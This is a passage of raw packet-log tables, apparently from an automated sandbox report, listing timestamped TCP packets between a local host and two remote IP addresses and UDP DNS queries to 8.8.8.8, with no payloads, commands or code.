Jan 14, 2022 02:05:33.616921902 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616939068 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616992950 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617013931 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617034912 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617073059 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617089987 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617146969 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.617163897 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617182970 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617204905 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617222071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617300987 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617321968 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617340088 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617361069 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617387056 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617408991 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617427111 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617459059 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617530107 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617549896 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617568016 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617963076 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.617984056 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618001938 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618022919 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618043900 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618079901 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618098974 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618114948 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618130922 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.618215084 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618232965 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618890047 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618915081 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618932009 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618949890 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.618997097 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619019985 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619038105 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619055986 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619105101 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.619921923 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619946957 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619967937 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.619988918 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620007992 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620032072 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620050907 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620074034 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620094061 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620110989 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620124102 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.620150089 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620167971 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620825052 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.620847940 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.621118069 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.621577024 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.621670008 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.621702909 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.621736050 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.691124916 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691171885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691195011 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691211939 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691231966 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691252947 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691273928 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691293001 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691309929 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.691325903 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692044020 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692069054 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692085028 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692106009 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692123890 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692142010 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692161083 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.692162037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692179918 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692195892 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.692214012 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693006039 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693036079 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693053961 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693074942 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693090916 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693111897 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693130016 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693130970 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.693164110 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693238020 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693262100 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693280935 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693300009 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693926096 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.693975925 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694016933 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694040060 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694058895 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694082022 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694104910 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694122076 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694125891 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.694228888 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694247961 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694916010 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694940090 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694960117 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.694983959 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695007086 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695025921 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695043087 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695060968 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695090055 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695128918 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695136070 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.695305109 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695327997 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695350885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695369005 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695385933 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695427895 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695452929 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695477009 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695502996 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695523024 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695538998 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695557117 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695580006 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695601940 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695624113 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695640087 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695657969 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695674896 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695719957 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695736885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695772886 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695790052 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695846081 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695863008 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695919037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695944071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695971966 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.695995092 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696012020 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696079969 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696095943 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696139097 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.696168900 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696188927 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696208954 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696225882 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.696293116 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.697123051 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.698134899 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.699145079 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.700128078 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.701124907 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.766125917 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766156912 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766175985 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766192913 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766210079 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766231060 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766252995 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766272068 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766289949 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766308069 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.766978979 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767016888 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767035007 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767055988 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767074108 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767127037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767138004 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.767148018 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.767163038 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.768146038 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.768533945 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.842360973 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.843122005 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:37.110213995 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:37.142431021 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:37.213453054 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:42.210262060 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:42.257524014 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:42.257569075 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:42.257600069 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:42.257668972 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:44.154931068 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:44.191103935 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:44.196993113 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:44.197720051 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:44.273780107 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:44.309495926 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:44.317300081 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:52.817275047 CET	80	49851	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:52.818258047 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:52.849783897 CET	49851	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:52.920417070 CET	80	49851	141.8.194.74	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 02:04:13.369515896 CET	57459	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:13.706455946 CET	53	57459	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:13.849999905 CET	57875	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:14.140429974 CET	53	57875	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:14.280734062 CET	54154	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:14.595504045 CET	53	54154	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:14.739701033 CET	52806	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:15.027013063 CET	53	52806	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:15.168499947 CET	53910	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:15.481961966 CET	53	53910	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:15.625966072 CET	64021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:15.645188093 CET	53	64021	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:16.987267017 CET	60784	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:17.272591114 CET	53	60784	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:17.421514034 CET	51143	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:17.439094067 CET	53	51143	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:17.582175016 CET	56009	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:17.869668961 CET	53	56009	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:19.751554012 CET	59026	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:19.770948887 CET	53	59026	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:19.912045002 CET	49572	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:19.931224108 CET	53	49572	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:20.076129913 CET	60823	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:20.097045898 CET	53	60823	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:20.417495012 CET	52130	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:20.436754942 CET	53	52130	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:20.586698055 CET	55102	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:20.874351025 CET	53	55102	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:22.551440954 CET	56236	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:22.570616007 CET	53	56236	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:22.740087986 CET	56527	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:22.757512093 CET	53	56527	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:22.901710033 CET	49559	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:23.006978989 CET	53	49559	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:23.093297005 CET	52650	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:23.112380028 CET	53	52650	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:23.301146030 CET	63297	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:23.320450068 CET	53	63297	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:23.469573021 CET	58361	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:23.488755941 CET	53	58361	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:23.641709089 CET	50728	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:23.660896063 CET	53	50728	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:23.877609015 CET	53777	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:24.162590981 CET	53	53777	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:27.846131086 CET	60982	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:27.865113974 CET	53	60982	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:28.013739109 CET	58058	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:28.035012007 CET	53	58058	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:28.211833000 CET	64367	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:28.231307983 CET	53	64367	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:28.378593922 CET	51539	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:28.397983074 CET	53	51539	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:30.467469931 CET	63456	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:31.481967926 CET	63456	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:31.768563032 CET	53	63456	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:31.801093102 CET	53	63456	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:31.989335060 CET	58540	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:32.008694887 CET	53	58540	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:32.210180998 CET	55108	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:32.229023933 CET	53	55108	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:32.374434948 CET	58942	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:32.393996954 CET	53	58942	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:34.254609108 CET	49250	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:34.273072004 CET	53	49250	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:34.425621986 CET	63490	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:34.444824934 CET	53	63490	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:34.599854946 CET	65110	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:34.616914988 CET	53	65110	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:55.866251945 CET	56706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:55.883285999 CET	53	56706	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:56.025412083 CET	53569	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:56.045073032 CET	53	53569	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:56.188921928 CET	62855	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:56.521358967 CET	53	62855	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:56.680510998 CET	51046	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:56.697865009 CET	53	51046	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:56.852638960 CET	65501	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:56.869858027 CET	53	65501	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.080271959 CET	53465	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.098994970 CET	53	53465	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.241729975 CET	49290	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.261420965 CET	53	49290	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.427401066 CET	59754	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.446409941 CET	53	59754	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.624003887 CET	49234	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.643368959 CET	53	49234	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.780965090 CET	58720	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.798512936 CET	53	58720	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:57.952326059 CET	57447	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:57.971731901 CET	53	57447	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:58.137726068 CET	64099	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:58.156996012 CET	53	64099	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:58.296169996 CET	64610	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:58.315458059 CET	53	64610	8.8.8.8	192.168.2.3
Jan 14, 2022 02:04:58.452287912 CET	51989	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:04:58.739171982 CET	53	51989	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:00.393124104 CET	53152	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:00.412766933 CET	53	53152	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:00.552680969 CET	61590	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:00.572159052 CET	53	61590	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:00.792820930 CET	56077	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:00.815495014 CET	53	56077	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:02.674624920 CET	57951	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:02.694268942 CET	53	57951	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:03.416105986 CET	53276	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:03.435744047 CET	53	53276	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:03.957252979 CET	60135	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:03.976402998 CET	53	60135	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:04.120733976 CET	49849	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:04.138139009 CET	53	49849	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:04.282737017 CET	60253	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:04.301692963 CET	53	60253	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:04.463948965 CET	58706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:04.483315945 CET	53	58706	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:04.645159960 CET	62677	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:04.975637913 CET	53	62677	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:07.159818888 CET	62595	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:07.178842068 CET	53	62595	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:07.345921040 CET	51189	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:07.365003109 CET	53	51189	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:07.534579039 CET	49967	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:07.552033901 CET	53	49967	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:09.012049913 CET	51454	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:09.031440020 CET	53	51454	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:09.225440025 CET	57163	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:09.242599964 CET	53	57163	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:09.451215029 CET	56360	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:09.470129013 CET	53	56360	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:09.658117056 CET	49258	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:09.677862883 CET	53	49258	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:10.020111084 CET	56195	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:10.039247036 CET	53	56195	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:10.247036934 CET	53021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:10.266221046 CET	53	53021	8.8.8.8	192.168.2.3
Jan 14, 2022 02:05:10.453973055 CET	52618	53	192.168.2.3	8.8.8.8
Jan 14, 2022 02:05:10.473809004 CET	53	52618	8.8.8.8	192.168.2.3
